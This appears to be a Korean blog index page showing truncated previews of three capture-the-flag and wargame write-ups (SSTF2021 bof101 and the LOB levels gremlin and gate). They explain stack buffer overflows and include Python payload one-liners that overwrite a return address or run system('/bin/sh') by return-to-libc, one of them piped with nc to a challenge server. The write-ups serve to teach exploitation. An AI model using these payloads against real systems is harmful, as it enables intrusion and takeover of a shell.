hacking
-
[sstf2021] bof101hacking 2021. 8. 20. 21:44
scanf("%s", name);에서 bof가 발생하고 level 의값을 "admin"으로 변조시키면 된다 스택 구조level[16] + name[16] + rbp[8] + ret 와 같다 이 문제는 name 값만 변조시키면 됨으로 A*16 + admin 와 같이 입력하면 name의 값이 변조된다 python -c 'print "A" * 16 + "admin"' | nc bof101.sstf.site 1335 스택 구조name[16] + rbp[8] + ret ret를 secret 함수의 주소값으로 변조시키면 된다ASLR이 꺼져 있음으로 주소값은 고정되어 있고 main 함수에서 그 주소값을 알려준다 python -c 'print "A" * (16 + 8) + "\x7a\x47\x55\x55\x55\x55..
-
[LOB] gremlinhacking 2021. 8. 19. 23:24
cobolt를 통하여 쉘을 따면 cobolt 권한을 얻을 수 있다 gremlin과 달라진 점은 buffer의 크기가 256에서 16으로 줄었다는 점 뿐이다 고로 gremlin 공격 계획과 다르지 않다마찬가지로 RTL 기법을 이용하여 system("/bin/sh")를 실행시키면 된다 ./cobolt `python -c 'print "A" * (16+4) + "\xe0\x8a\x05\x40" + "A" * 4 + "\xf9\xbf\x0f\x40"'` RTL 기법을 100프로 알고 쓴다는 느낌이 안 들어서 (개념 자체는 쉽지만..)관련해서 정리하는 글도 적어볼 예정
-
[LOB] gatehacking 2021. 8. 18. 23:03
strcpy에서 bof 취약점 발생 공격 계획buffer[256] + main's ebp[4] + main's ret(change to system addr) + system's ret[4] + shell(/bin/sh) library에 있는 system 함수의 주소와/bin/sh의 주소가 필요하다 한 가지 설명하자면다음과 같이 인자가 있는 함수에서는 스택이a[4] + ebp + ret + arg 로 쌓인다 이를 system 함수에 적용시키면ret + 'system 함수의 인자값' 으로 된다/bin/sh 앞에 넣을 4byte는 system 함수의 ret를 덮기 위함이다 고로 공격 계획을 다시 생각해보면ret를 system함수로 돌리고 system 함수의 인자값을 /bin/sh로 해주면 쉘 획득이 가능한 ..